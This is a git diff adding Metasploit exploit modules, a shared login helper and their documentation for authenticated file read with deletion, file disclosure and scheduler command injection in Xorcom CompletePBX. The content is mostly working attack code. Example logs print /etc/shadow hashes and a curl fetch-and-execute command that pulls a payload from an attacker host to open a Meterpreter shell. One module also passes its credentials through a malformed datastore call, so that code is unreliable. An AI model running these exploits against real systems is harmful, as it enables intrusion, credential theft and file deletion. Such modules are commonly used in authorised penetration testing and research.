diff --git a/documentation/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.md b/documentation/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.md
new file mode 100644
index 0000000000..51bd919b36
--- /dev/null
+++ b/documentation/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.md
@@ -0,0 +1,142 @@
+## Vulnerable Application
+
+This Metasploit module exploits an **Authenticated Arbitrary File Read and Deletion** vulnerability in **Xorcom CompletePBX <= 5.2.35**.
+The issue arises due to improper validation of the `systemDataFileName` parameter in the `diagnostics` module,
+allowing an attacker to retrieve arbitrary files from the system.
+
+Additionally, this vulnerability **automatically deletes the requested file** after being accessed,
+leading to potential data loss on the target.
+
+The vulnerability is identified as **CVE-2025-30005**.
+
+### Setup
+
+Download the ova file here: [](https://archive.org/details/completepbx-5-2-27-vuln)
+
+## Verification Steps
+
+1. Deploy a vulnerable instance of **Xorcom CompletePBX <= 5.2.35**.
+2. Launch **Metasploit Framework**.
+3. Use the module:
+```
+use auxiliary/admin/http/xorcom_completepbx_diagnostics_file_read
+```
+4. Set the **target host**:
+```
+set RHOSTS [TARGET_IP]
+```
+5. Set authentication credentials:
+```
+set USERNAME [VALID_ADMIN_USERNAME]
+set PASSWORD [VALID_ADMIN_PASSWORD]
+```
+6. Specify the file to read (before deletion):
+```
+set TARGETFILE /etc/passwd
+```
+7. Execute the module:
+```
+run
+```
+8. If successful, the contents of the specified file will be displayed before its deletion.
+
+## Options
+
+### USERNAME
+
+Admin username for authentication.
+
+### PASSWORD
+
+Admin password for authentication.
+
+### TARGETFILE
+
+Path of the file to retrieve (**before automatic deletion**).
+
+### DefangedMode
+
+Safety switch (true by default). Set to **false** to actually perform the read-and-delete operation.
+
+## Scenarios
+
+### Successful Exploitation Against a Vulnerable CompletePBX Instance
+
+**Setup**:
+
+- **Target**: Xorcom CompletePBX <= 5.2.35
+- **Attacker**: Metasploit Framework instance
+
+**Steps**:
+
+```bash
+msf6 auxiliary(scanner/http/xorcom_completepbx_diagnostics_file_read) > run http://192.168.1.32/
+[*] Running module against 192.168.1.32
+[*] Running automatic check ("set AutoCheck false" to disable)
+[+] The target appears to be vulnerable.
+[-] Auxiliary aborted due to failure: bad-config:
+Are you *SURE* you want to execute the module against the target?
+Running this module will attempt to read and delete the file
+specified by TARGETFILE on the remote system.
+
+If you have explicit authorisation, re-run with:
+ set DefangedMode false
+
+[*] Auxiliary module execution completed
+msf6 auxiliary(scanner/http/xorcom_completepbx_diagnostics_file_read) > set DefangedMode false
+DefangedMode => false
+msf6 auxiliary(scanner/http/xorcom_completepbx_diagnostics_file_read) > run http://192.168.1.32/
+[*] Running module against 192.168.1.32
+[*] Running automatic check ("set AutoCheck false" to disable)
+[+] The target appears to be vulnerable.
+[!] This exploit WILL delete the target file if permissions allow.
+[*] Attempting to read file: ../../../../../../../../../../..//etc/passwd
+[*] ZIP file received, attempting to list files
+[*] Files inside ZIP archive:
+ - ../../../../../../../../../../..//etc/passwd
+ - full_20250716_191240
+ - audit_20250716_191240.log
+[+] Content of /etc/passwd:
+root:x:0:0:root:/root:/bin/bash
+daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
+bin:x:2:2:bin:/bin:/usr/sbin/nologin
+sys:x:3:3:sys:/dev:/usr/sbin/nologin
+sync:x:4:65534:sync:/bin:/bin/sync
+games:x:5:60:games:/usr/games:/usr/sbin/nologin
+man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
+lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
+mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
+news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
+uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
+proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
+www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
+backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
+list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
+irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
+_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
+nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
+systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
+systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
+messagebus:x:100:107::/nonexistent:/usr/sbin/nologin
+avahi-autoipd:x:101:109:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
+sshd:x:102:65534::/run/sshd:/usr/sbin/nologin
+pbx:x:1000:1000:,,,:/home/pbx:/bin/bash
+mysql:x:103:111:MySQL Server,,,:/nonexistent:/bin/false
+postfix:x:104:113::/var/spool/postfix:/usr/sbin/nologin
+tcpdump:x:105:115::/nonexistent:/usr/sbin/nologin
+Debian-snmp:x:106:116::/var/lib/snmp:/bin/false
+_chrony:x:107:117:Chrony daemon,,,:/var/lib/chrony:/usr/sbin/nologin
+dnsmasq:x:108:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
+polkitd:x:996:996:polkit:/nonexistent:/usr/sbin/nologin
+asterisk:x:109:118:Asterisk PBX daemon,,,:/var/lib/asterisk:/usr/sbin/nologin
+cc-cloud-rec:x:999:995::/var/lib/cc-cloud-rec:/sbin/nologin
+
+[*] Auxiliary module execution completed
+```
+
+### Impact
+
+- This vulnerability grants **file read access**, but also **automatically deletes** the retrieved file.
+- Attackers can extract sensitive data (e.g., user credentials) while simultaneously causing **data loss** on the system.
+
+This module is designed to **demonstrate and automate** the exploitation of this issue using the Metasploit framework.
diff --git a/documentation/modules/auxiliary/scanner/http/xorcom_completepbx_file_disclosure.md b/documentation/modules/auxiliary/scanner/http/xorcom_completepbx_file_disclosure.md
new file mode 100644
index 0000000000..4ac75379fc
--- /dev/null
+++ b/documentation/modules/auxiliary/scanner/http/xorcom_completepbx_file_disclosure.md
@@ -0,0 +1,112 @@
+## Vulnerable Application
+
+This Metasploit module exploits an **Authenticated File Disclosure** vulnerability in **Xorcom CompletePBX <= 5.2.35**.
+The issue arises due to improper handling of user-supplied input
+in the **core download functionality**, allowing an attacker to read arbitrary files on the system with **root privileges**.
+
+### Setup
+
+Download the ova file here: [](https://archive.org/details/completepbx-5-2-27-vuln)
+
+## Verification Steps
+
+1. Deploy a vulnerable instance of **Xorcom CompletePBX <= 5.2.35**.
+2. Launch **Metasploit Framework**.
+3. Use the module:
+```
+use auxiliary/admin/http/xorcom_completepbx_file_disclosure
+```
+4. Set the **target host**:
+```
+set RHOSTS [TARGET_IP]
+```
+5. Set authentication credentials:
+```
+set USERNAME [VALID_ADMIN_USERNAME]
+set PASSWORD [VALID_ADMIN_PASSWORD]
+```
+6. Specify the file to read:
+```
+set TARGETFILE /etc/shadow
+```
+7. Execute the module:
+```
+run
+```
+8. If successful, the contents of the specified file will be displayed.
+
+## Options
+
+### USERNAME
+
+Admin username for authentication.
+
+### PASSWORD`
+
+Admin password for authentication.
+
+### TARGETFILE
+
+Path of the file to retrieve (Base64-encoded in request).
+
+## Scenarios
+
+### Successful Exploitation Against a Vulnerable CompletePBX Instance
+
+**Setup**:
+
+- **Target**: Xorcom CompletePBX <= 5.2.35
+- **Attacker**: Metasploit Framework instance
+
+**Steps**:
+
+```bash
+msf6 auxiliary(scanner/http/xorcom_completepbx_file_disclosure) > run http://192.168.1.32/
+[*] Running module against 192.168.1.32
+[*] Running automatic check ("set AutoCheck false" to disable)
+[+] The target appears to be vulnerable.
+[*] Attempting to read file: /etc/shadow (Encoded as: ,L2V0Yy9zaGFkb3c=)
+[+] Content of /etc/shadow:
+root:$y$j9T$/vXScZij/ykAtLtP9H1nQ/$KK43hfpOrxdZwAZljjvS5dnF0ipg8NqpCOj9gbLJ9OA:19829:0:99999:7:::
+daemon:*:19829:0:99999:7:::
+bin:*:19829:0:99999:7:::
+sys:*:19829:0:99999:7:::
+sync:*:19829:0:99999:7:::
+games:*:19829:0:99999:7:::
+man:*:19829:0:99999:7:::
+lp:*:19829:0:99999:7:::
+mail:*:19829:0:99999:7:::
+news:*:19829:0:99999:7:::
+uucp:*:19829:0:99999:7:::
+proxy:*:19829:0:99999:7:::
+www-data:*:19829:0:99999:7:::
+backup:*:19829:0:99999:7:::
+list:*:19829:0:99999:7:::
+irc:*:19829:0:99999:7:::
+_apt:*:19829:0:99999:7:::
+nobody:*:19829:0:99999:7:::
+systemd-network:!*:19829::::::
+systemd-timesync:!*:19829::::::
+messagebus:!:19829::::::
+avahi-autoipd:!:19829::::::
+sshd:!:19829::::::
+pbx:$y$j9T$u6FpdD4iJVvFEqtUSAoFP/$P5iBn5ljpYEwcuXj4F9n6SBlMgWyxjqBDK82ija9Te5:19829:0:99999:7:::
+mysql:!:19829::::::
+postfix:!:19829::::::
+tcpdump:!:19829::::::
+Debian-snmp:!:19829::::::
+_chrony:!:19829::::::
+dnsmasq:!:19829::::::
+polkitd:!*:19829::::::
+asterisk:!:19829::::::
+cc-cloud-rec:!:19829::::::
+[*] Auxiliary module execution completed
+```
+
+### Impact
+
+- This vulnerability grants **full read access to system files as root**.
+- Attackers can retrieve **hashed passwords, SSH keys, and configuration files**,
+leading to **privilege escalation** and potential full system compromise.
+
+This module is designed to **demonstrate and automate** the exploitation of this issue using the Metasploit framework.
diff --git a/documentation/modules/exploit/linux/http/xorcom_completepbx_scheduler.md b/documentation/modules/exploit/linux/http/xorcom_completepbx_scheduler.md
new file mode 100644
index 0000000000..e03e57309e
--- /dev/null
+++ b/documentation/modules/exploit/linux/http/xorcom_completepbx_scheduler.md
@@ -0,0 +1,108 @@
+## Vulnerable Application
+
+This Metasploit module exploits an **Authenticated Command Injection** vulnerability in **Xorcom CompletePBX <= 5.2.35**.
+The issue resides in the task scheduler functionality, where user-controlled input is improperly sanitized, allowing
+arbitrary command execution with web server privileges.
+
+Only the **superadmin** user (`admin`) has the necessary permissions to trigger this exploit.
+Even when creating a new user with maximum privileges, the vulnerability does not work.
+
+The vulnerability is identified as **CVE-2025-30004**.
+
+### Setup
+
+Download the ova file here: [](https://archive.org/details/completepbx-5-2-27-vuln)
+
+## Verification Steps
+
+1. Deploy a vulnerable instance of **Xorcom CompletePBX <= 5.2.35**.
+2. Launch **Metasploit Framework**.
+3. Use the module:
+```
+use exploit/linux/http/xorcom_completepbx_scheduler_rce
+```
+4. Set the **target host**:
+```
+set RHOSTS [TARGET_IP]
+```
+5. Set authentication credentials:
+```
+set USERNAME [VALID_ADMIN_USERNAME]
+set PASSWORD [VALID_ADMIN_PASSWORD]
+```
+6. Configure the payload:
+```
+set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp
+set LHOST [ATTACKER_IP]
+set LPORT [LISTENER_PORT]
+```
+7. Execute the module:
+```
+run
+```
+8. If successful, a **Meterpreter session** will be opened on the target.
+
+## Options
+
+### USERNAME
+
+Admin username for authentication.
+
+### PASSWORD
+
+Admin password for authentication.
+
+## Scenarios
+
+### Successful Exploitation Against a Vulnerable CompletePBX Instance
+
+**Setup**:
+
+- **Target**: Xorcom CompletePBX <= 5.2.35
+- **Attacker**: Metasploit Framework instance
+
+**Steps**:
+
+```bash
+msf6 exploit(linux/http/xorcom_completepbx_scheduler) > run http://192.168.1.32/
+[*] Command to run on remote host: curl -so ./HEuUpqtYDav http://192.168.1.36:8080/LoPlnjEpeOexZNVppn6cAA;chmod +x ./HEuUpqtYDav;./HEuUpqtYDav&
+[*] Fetch handler listening on 192.168.1.36:8080
+[*] HTTP server started
+[*] Adding resource /LoPlnjEpeOexZNVppn6cAA
+[*] Started reverse TCP handler on 192.168.1.36:4444
+[*] Running automatic check ("set AutoCheck false" to disable)
+[*] Checking if the target is running CompletePBX...
+[+] Detected CompletePBX on 192.168.1.32:80
+[+] The target appears to be vulnerable.
+[*] Attempting authentication with username: admin
+[+] Authentication successful! Session ID: sid=697e43b483efc1ac316461cde1fbb5d470abc3b4
+[*] Creating malicious scheduled task with description: Possimus quibusdam assumenda minima.
+[+] Malicious task successfully created.
+[*] Retrieving latest task ID for description: Possimus quibusdam assumenda minima....
+[+] Found task with ID: 18
+[*] Executing malicious task ID 18...
+[*] Client 192.168.1.32 requested /LoPlnjEpeOexZNVppn6cAA
+[*] Sending payload to 192.168.1.32 (curl/7.88.1)
+[*] Transmitting intermediate stager...(126 bytes)
+[*] Sending stage (3045380 bytes) to 192.168.1.32
+[+] Task executed successfully!
+[*] Sending delete request (mode=delete) for task ID 18...
+[*] Sending delete request (mode=deleteConfirmed) for task ID 18...
+[+] Task 18 deleted successfully!
+[*] Meterpreter session 6 opened (192.168.1.36:4444 -> 192.168.1.32:40800) at 2025-07-16 21:11:31 +0200
+
+meterpreter > sysinfo
+Computer : localhost.localdomain
+OS : Debian 12.5 (Linux 6.1.0-20-amd64)
+Architecture : x64
+BuildTuple : x86_64-linux-musl
+Meterpreter : x64/linux
+```
+
+### Impact
+
+- This vulnerability grants **remote code execution** capabilities.
+- Attackers can execute arbitrary commands as the **web server user**, potentially leading to full system compromise.
+- Exploitation provides a **Meterpreter session** for post-exploitation activities.
+
+This module is designed to **demonstrate and automate** the exploitation of this issue using the Metasploit framework.
diff --git a/lib/msf/core/exploit/remote/http/xorcom_complete_pbx.rb b/lib/msf/core/exploit/remote/http/xorcom_complete_pbx.rb
new file mode 100644
index 0000000000..adac9295f3
--- /dev/null
+++ b/lib/msf/core/exploit/remote/http/xorcom_complete_pbx.rb
@@ -0,0 +1,60 @@
+# -*- coding: binary -*-
+
+module Msf
+ class Exploit
+ class Remote
+ module HTTP
+ #
+ # Shared routines for Xorcom CompletePBX modules
+ #
+ module XorcomCompletePbx
+ # Probe root page and return appropriate CheckCode
+ # @return [Msf::Exploit::CheckCode]
+ def completepbx?
+ vprint_status('Checking if the target is running CompletePBX...')
+ res = send_request_cgi('uri' => normalize_uri(target_uri.path), 'method' => 'GET')
+ return Exploit::CheckCode::Unknown('No response from target.') unless res
+ return Exploit::CheckCode::Unknown("Unexpected HTTP response code: #{res.code}") unless res.code == 200
+
+ doc = res.get_html_document
+ if doc.at('//meta[@name="description"][@content="CompletePBX"]') ||
+ doc.at('//meta[@name="application-name"][@content="Ombutel"]')
+ vprint_good("Detected CompletePBX on #{peer}")
+ return Exploit::CheckCode::Appears
+ end
+
+ Exploit::CheckCode::Safe('Target does not appear to be running CompletePBX.')
+ end
+
+ # Authenticate with supplied credentials and return the session cookie.
+ #
+ # @param username [String] CompletePBX username
+ # @param password [String] CompletePBX password
+ # @return [String] the "sid=..." cookie value
+ # @raise [Msf::Exploit::Failure] on authentication failure
+ #
+ def completepbx_login(username, password)
+ vprint_status("Attempting authentication with username: #{username}")
+
+ res = send_request_cgi(
+ 'uri' => normalize_uri(target_uri.path, 'login'),
+ 'method' => 'POST',
+ 'ctype' => 'application/x-www-form-urlencoded',
+ 'vars_post' => { 'userid' => username, 'userpass' => password }
+ )
+ unless res&.code == 200
+ vprint_error('Authentication failed')
+ fail_with(Msf::Module::Failure::NoAccess, 'Authentication failed')
+ end
+
+ sid = res.get_cookies.scan(/sid=[a-f0-9]+/).first
+ fail_with(Msf::Module::Failure::NoAccess, 'No session ID received') unless sid
+
+ vprint_good("Authentication successful! Session ID: #{sid}")
+ sid
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.rb b/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.rb
new file mode 100644
index 0000000000..1f8feada01
--- /dev/null
+++ b/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.rb
@@ -0,0 +1,165 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Auxiliary
+ include Msf::Exploit::Remote::HttpClient
+ include Msf::Exploit::Remote::HTTP::XorcomCompletePbx
+ prepend Msf::Exploit::Remote::AutoCheck
+
+ def initialize(info = {})
+ super(
+ update_info(
+ info,
+ 'Name' => 'Xorcom CompletePBX Arbitrary File Read and Deletion via systemDataFileName',
+ 'Description' => %q{
+ This module exploits an authenticated path traversal vulnerability in
+ Xorcom CompletePBX <= 5.2.35. The issue occurs due to improper validation of the
+ `systemDataFileName` parameter in the `diagnostics` module, allowing authenticated attackers
+ to retrieve arbitrary files from the system.
+
+ Additionally, the exploitation of this vulnerability results in the **deletion** of the
+ requested file from the target system.
+
+ The vulnerability is identified as CVE-2025-30005.
+ },
+ 'Author' => [
+ 'Valentin Lobstein' # Research and module development
+ ],
+ 'License' => MSF_LICENSE,
+ 'References' => [
+ ['CVE', '2025-30005'],
+ ['URL', 'https://xorcom.com/new-completepbx-release-5-2-36-1/'],
+ ['URL', 'https://chocapikk.com/posts/2025/completepbx/']
+ ],
+ 'DisclosureDate' => '2025-03-02',
+ 'Notes' => {
+ 'Stability' => [CRASH_SAFE, OS_RESOURCE_LOSS],
+ 'SideEffects' => [IOC_IN_LOGS],
+ 'Reliability' => []
+ }
+ )
+ )
+
+ register_options(
+ [
+ OptString.new('USERNAME', [true, 'Username for authentication', 'admin']),
+ OptString.new('PASSWORD', [true, 'Password for authentication']),
+ OptString.new('TARGETFILE', [true, 'File to retrieve from the system', '/etc/passwd'])
+ ]
+ )
+ register_advanced_options(
+ [
+ OptBool.new('DefangedMode', [ true, 'Run in defanged mode', true ])
+ ]
+ )
+ end
+
+ def check
+ completepbx?
+ end
+
+ def run
+ if datastore['DefangedMode']
+ warning = <<~EOF
+
+ Are you *SURE* you want to execute the module against the target?
+ Running this module will attempt to read and delete the file
+ specified by TARGETFILE on the remote system.
+
+ If you have explicit authorisation, re-run with:
+ set DefangedMode false
+ EOF
+ fail_with(Failure::BadConfig, warning)
+ end
+
+ print_warning('This exploit WILL delete the target file if permissions allow.')
+ sleep(2)
+
+ sid_cookie = completepbx_login(datastore['USERNAME', datastore['PASSWORD']])
+ target_file = "../../../../../../../../../../../#{datastore['TARGETFILE']}"
+
+ print_status("Attempting to read file: #{target_file}")
+
+ res = send_request_cgi({
+ 'uri' => normalize_uri(datastore['TARGETURI']),
+ 'method' => 'GET',
+ 'headers' => { 'Cookie' => sid_cookie },
+ 'vars_get' => {
+ 'class' => 'diagnostics',
+ 'method' => 'stopMode',
+ 'systemDataFileName' => target_file
+ }
+ })
+
+ unless res
+ fail_with(Failure::Unreachable, 'No response from target')
+ end
+
+ unless res.code == 200
+ fail_with(Failure::UnexpectedReply, "Unexpected HTTP response code: #{res.code}")
+ end
+
+ body = res.body.lines[0..-2].join
+
+ if res.headers['Content-Type']&.include?('application/zip')
+ print_status('ZIP file received, attempting to list files')
+
+ files_list = list_files_in_zip(body)
+
+ if files_list.empty?
+ fail_with(Failure::NotVulnerable, 'ZIP archive received but contains no files.')
+ end
+
+ print_status("Files inside ZIP archive:\n - " + files_list.join("\n - "))
+
+ extracted_content = read_file_from_zip(body, File.basename(target_file), files_list)
+
+ if extracted_content
+ print_good("Content of #{datastore['TARGETFILE']}:\n#{extracted_content}")
+ else
+ fail_with(Failure::NotVulnerable, 'File not found in ZIP archive.')
+ end
+ else
+ print_good("Raw file content received:\n#{body}")
+ end
+ end
+
+ def list_files_in_zip(zip_data)
+ files = []
+ begin
+ ::Zip::InputStream.open(StringIO.new(zip_data)) do |io|
+ while (entry = io.get_next_entry)
+ files << entry.name
+ end
+ end
+ rescue ::Zip::Error, ::IOError, ::ArgumentError => e
+ fail_with(Failure::UnexpectedReply, "Invalid ZIP data: #{e.class} - #{e.message}")
+ end
+ files
+ end
+
+ def read_file_from_zip(zip_data, target_filename, files_list)
+ possible_matches = files_list.select { |f| f.include?(target_filename) }
+ return nil if possible_matches.empty?
+
+ correct_filename = possible_matches.first
+ file_content = nil
+
+ begin
+ ::Zip::InputStream.open(StringIO.new(zip_data)) do |io|
+ while (entry = io.get_next_entry)
+ if entry.name == correct_filename
+ file_content = io.read
+ break
+ end
+ end
+ end
+ rescue ::Zip::Error, ::IOError, ::ArgumentError => e
+ fail_with(Failure::UnexpectedReply, "Error reading ZIP archive: #{e.class} - #{e.message}")
+ end
+
+ file_content
+ end
+end
diff --git a/modules/auxiliary/scanner/http/xorcom_completepbx_file_disclosure.rb b/modules/auxiliary/scanner/http/xorcom_completepbx_file_disclosure.rb
new file mode 100644
index 0000000000..1128ada69f
--- /dev/null
+++ b/modules/auxiliary/scanner/http/xorcom_completepbx_file_disclosure.rb
@@ -0,0 +1,90 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Auxiliary
+ include Msf::Exploit::Remote::HttpClient
+ include Msf::Exploit::Remote::HTTP::XorcomCompletePbx
+ prepend Msf::Exploit::Remote::AutoCheck
+
+ def initialize(info = {})
+ super(
+ update_info(
+ info,
+ 'Name' => 'Xorcom CompletePBX Authenticated File Disclosure via Backup Download',
+ 'Description' => %q{
+ This module exploits an authenticated file disclosure vulnerability in CompletePBX <= 5.2.35.
+ The issue resides in the backup download function, where user input is not properly validated,
+ allowing an attacker to access arbitrary files on the system as root.
+
+ The vulnerability is triggered by setting the `backup` parameter to a Base64-encoded
+ absolute file path, prefixed by a comma `,`. This results in the server exposing the
+ file contents directly.
+ },
+ 'Author' => [
+ 'Valentin Lobstein' # Research and module development
+ ],
+ 'License' => MSF_LICENSE,
+ 'References' => [
+ ['CVE', '2025-2292'],
+ ['URL', 'https://xorcom.com/new-completepbx-release-5-2-36-1/'],
+ ['URL', 'https://chocapikk.com/posts/2025/completepbx/']
+ ],
+ 'Privileged' => true,
+ 'DisclosureDate' => '2025-03-02',
+ 'Platform' => %w[linux unix],
+ 'Notes' => {
+ 'Stability' => [CRASH_SAFE],
+ 'SideEffects' => [IOC_IN_LOGS],
+ 'Reliability' => []
+ }
+ )
+ )
+
+ register_options(
+ [
+ OptString.new('USERNAME', [true, 'Username for authentication', 'admin']),
+ OptString.new('PASSWORD', [true, 'Password for authentication']),
+ OptString.new('TARGETFILE', [true, 'File to retrieve from the system', '/etc/shadow'])
+ ]
+ )
+ end
+
+ def check
+ completepbx?
+ end
+
+ def run
+ sid_cookie = completepbx_login(datastore['USERNAME'], datastore['PASSWORD'])
+ encoded_path = ',' + Rex::Text.encode_base64(datastore['TARGETFILE'])
+
+ print_status("Attempting to read file: #{datastore['TARGETFILE']} (Encoded as: #{encoded_path})")
+
+ res = send_request_cgi({
+ 'uri' => normalize_uri(datastore['TARGETURI']),
+ 'method' => 'GET',
+ 'headers' => {
+ 'Cookie' => sid_cookie
+ },
+ 'vars_get' => {
+ 'class' => 'core',
+ 'method' => 'download',
+ 'backup' => encoded_path
+ }
+ })
+
+ fail_with(Failure::Unreachable, 'No response from target') unless res
+ fail_with(Failure::UnexpectedReply, "Unexpected HTTP response code: #{res.code}") unless res.code == 200
+ fail_with(Failure::NotVulnerable, 'No content retrieved; target not vulnerable or file empty') if res.body.to_s.empty?
+
+ doc = res.get_html_document
+ doc.at('//b[contains(text(),"Fatal error")]')
+
+ fatal_regex = %r{\r?\n
\s*Fatal error}i
+ content, separator, = res.body.partition(fatal_regex)
+ content = res.body if separator.empty?
+
+ print_good("Content of #{datastore['TARGETFILE']}:\n#{content.rstrip}")
+ end
+end
diff --git a/modules/exploits/linux/http/xorcom_completepbx_scheduler.rb b/modules/exploits/linux/http/xorcom_completepbx_scheduler.rb
new file mode 100644
index 0000000000..fe19e6231c
--- /dev/null
+++ b/modules/exploits/linux/http/xorcom_completepbx_scheduler.rb
@@ -0,0 +1,184 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Remote
+ Rank = ExcellentRanking
+
+ include Msf::Exploit::Remote::HttpClient
+ include Msf::Exploit::Remote::HTTP::XorcomCompletePbx
+ prepend Msf::Exploit::Remote::AutoCheck
+
+ def initialize(info = {})
+ super(
+ update_info(
+ info,
+ 'Name' => 'Xorcom CompletePBX Authenticated Command Injection via Task Scheduler',
+ 'Description' => %q{
+ This module exploits an authenticated command injection vulnerability in Xorcom CompletePBX
+ versions <= 5.2.35. The issue resides in the task scheduler functionality, where user-controlled
+ input is improperly sanitized, allowing arbitrary command execution with web server privileges.
+
+ Only the superadmin user (admin) has the necessary permissions to trigger this exploit.
+ Even when creating a new user with maximum privileges, the vulnerability does not work.
+ },
+ 'Author' => [
+ 'Valentin Lobstein' # Research and module development
+ ],
+ 'License' => MSF_LICENSE,
+ 'References' => [
+ ['CVE', '2025-30004'],
+ ['URL', 'https://xorcom.com/new-completepbx-release-5-2-36-1/'],
+ ['URL', 'https://chocapikk.com/posts/2025/completepbx/']
+ ],
+ 'Privileged' => false,
+ 'Platform' => %w[unix linux],
+ 'Arch' => [ARCH_CMD],
+ 'Targets' => [
+ [
+ 'Unix/Linux Command Shell',
+ {
+ 'Platform' => %w[unix linux],
+ 'Arch' => ARCH_CMD,
+ 'DefaultOptions' => { 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp' }
+ }
+ ]
+ ],
+ 'DefaultTarget' => 0,
+ 'DisclosureDate' => '2025-03-02',
+ 'Notes' => {
+ 'Stability' => [CRASH_SAFE],
+ 'Reliability' => [REPEATABLE_SESSION],
+ 'SideEffects' => [IOC_IN_LOGS]
+ }
+ )
+ )
+
+ register_options([
+ OptString.new('USERNAME', [true, 'Valid CompletePBX username', 'admin']),
+ OptString.new('PASSWORD', [true, 'Valid CompletePBX password']),
+ ])
+ end
+
+ def check
+ completepbx?
+ end
+
+ def get_latest_task_id(sid_cookie, task_desc)
+ print_status("Retrieving latest task ID for description: #{task_desc}...")
+
+ res = send_request_cgi(
+ 'uri' => normalize_uri(target_uri.path),
+ 'method' => 'GET',
+ 'vars_get' => {
+ 'class' => 'scheduler',
+ 'method' => 'tasks',
+ 'offset' => '0',
+ 'max' => '20'
+ },
+ 'cookie' => sid_cookie
+ )
+ fail_with(Failure::Unreachable, 'No response from target while fetching tasks') unless res
+
+ json = res.get_json_document
+ fail_with(Failure::UnexpectedReply, 'Invalid JSON structure') unless json.is_a?(Hash)
+
+ rows = json.fetch('rows', nil)
+ fail_with(Failure::UnexpectedReply, 'Missing task list in response') unless rows.is_a?(Array)
+
+ row = rows.find { |r| r.is_a?(Array) && r[2].to_s == task_desc }
+ fail_with(Failure::NotFound, "Task '#{task_desc}' not found") unless row
+
+ task_id = row[0]
+ print_good("Found task with ID: #{task_id}")
+ task_id
+ end
+
+ def create_task(sid_cookie)
+ task_desc = Faker::Lorem.sentence(word_count: 4)
+ notes = Faker::Lorem.paragraph(sentence_count: 3)
+ print_status("Creating malicious scheduled task with description: #{task_desc}")
+
+ res = send_request_cgi(
+ 'uri' => normalize_uri(target_uri.path),
+ 'method' => 'POST',
+ 'cookie' => sid_cookie,
+ 'ctype' => 'application/x-www-form-urlencoded',
+ 'vars_post' => {
+ 'script' => 'backup',
+ 'description' => task_desc,
+ 'starting' => Time.now.strftime('%Y-%m-%d %H:%M'),
+ 'interval' => '1',
+ 'interval_unit' => 'month',
+ 'parameters' => "$(#{payload.encoded})",
+ 'notes' => notes,
+ 'data' => '0',
+ 'class' => 'scheduler',
+ 'method' => 'save_task',
+ 'mode' => 'create'
+ }
+ )
+ fail_with(Failure::Unreachable, 'No response from target while creating task') unless res
+
+ json_res = res.get_json_document || fail_with(Failure::UnexpectedReply, 'Invalid JSON response')
+ state = json_res.fetch('state') { fail_with(Failure::UnexpectedReply, 'Failed to create the malicious task') }
+
+ print_good('Malicious task successfully created.') and return task_desc if state == 'success'
+
+ fail_with(Failure::UnexpectedReply, 'Failed to create the malicious task')
+ end
+
+ def run_task(sid_cookie, task_id)
+ print_status("Executing malicious task ID #{task_id}...")
+
+ res = send_request_cgi({
+ 'uri' => normalize_uri(target_uri.path),
+ 'method' => 'POST',
+ 'cookie' => sid_cookie,
+ 'ctype' => 'application/x-www-form-urlencoded',
+ 'vars_post' => {
+ 'class' => 'scheduler',
+ 'method' => 'run_task',
+ 'mode' => 'run',
+ 'data' => task_id.to_s
+ }
+ })
+
+ unless res
+ fail_with(Failure::Unreachable, 'No response from target while executing task')
+ end
+
+ print_good('Task executed successfully!')
+ end
+
+ def delete_task(sid_cookie, task_id)
+ %w[delete deleteConfirmed].each do |mode|
+ print_status("Sending delete request (mode=#{mode}) for task ID #{task_id}...")
+
+ send_request_cgi({
+ 'uri' => normalize_uri(target_uri.path),
+ 'method' => 'POST',
+ 'cookie' => sid_cookie,
+ 'ctype' => 'application/x-www-form-urlencoded',
+ 'vars_post' => {
+ 'class' => 'scheduler',
+ 'method' => 'delete_task',
+ 'mode' => mode,
+ 'data' => task_id.to_s
+ }
+ })
+ end
+
+ print_good("Task #{task_id} deleted successfully!")
+ end
+
+ def exploit
+ sid_cookie = completepbx_login(datastore['USERNAME'], datastore['PASSWORD'])
+ task_desc = create_task(sid_cookie)
+ task_id = get_latest_task_id(sid_cookie, task_desc)
+ run_task(sid_cookie, task_id)
+ ensure
+ delete_task(sid_cookie, task_id) if task_id
+ end
+end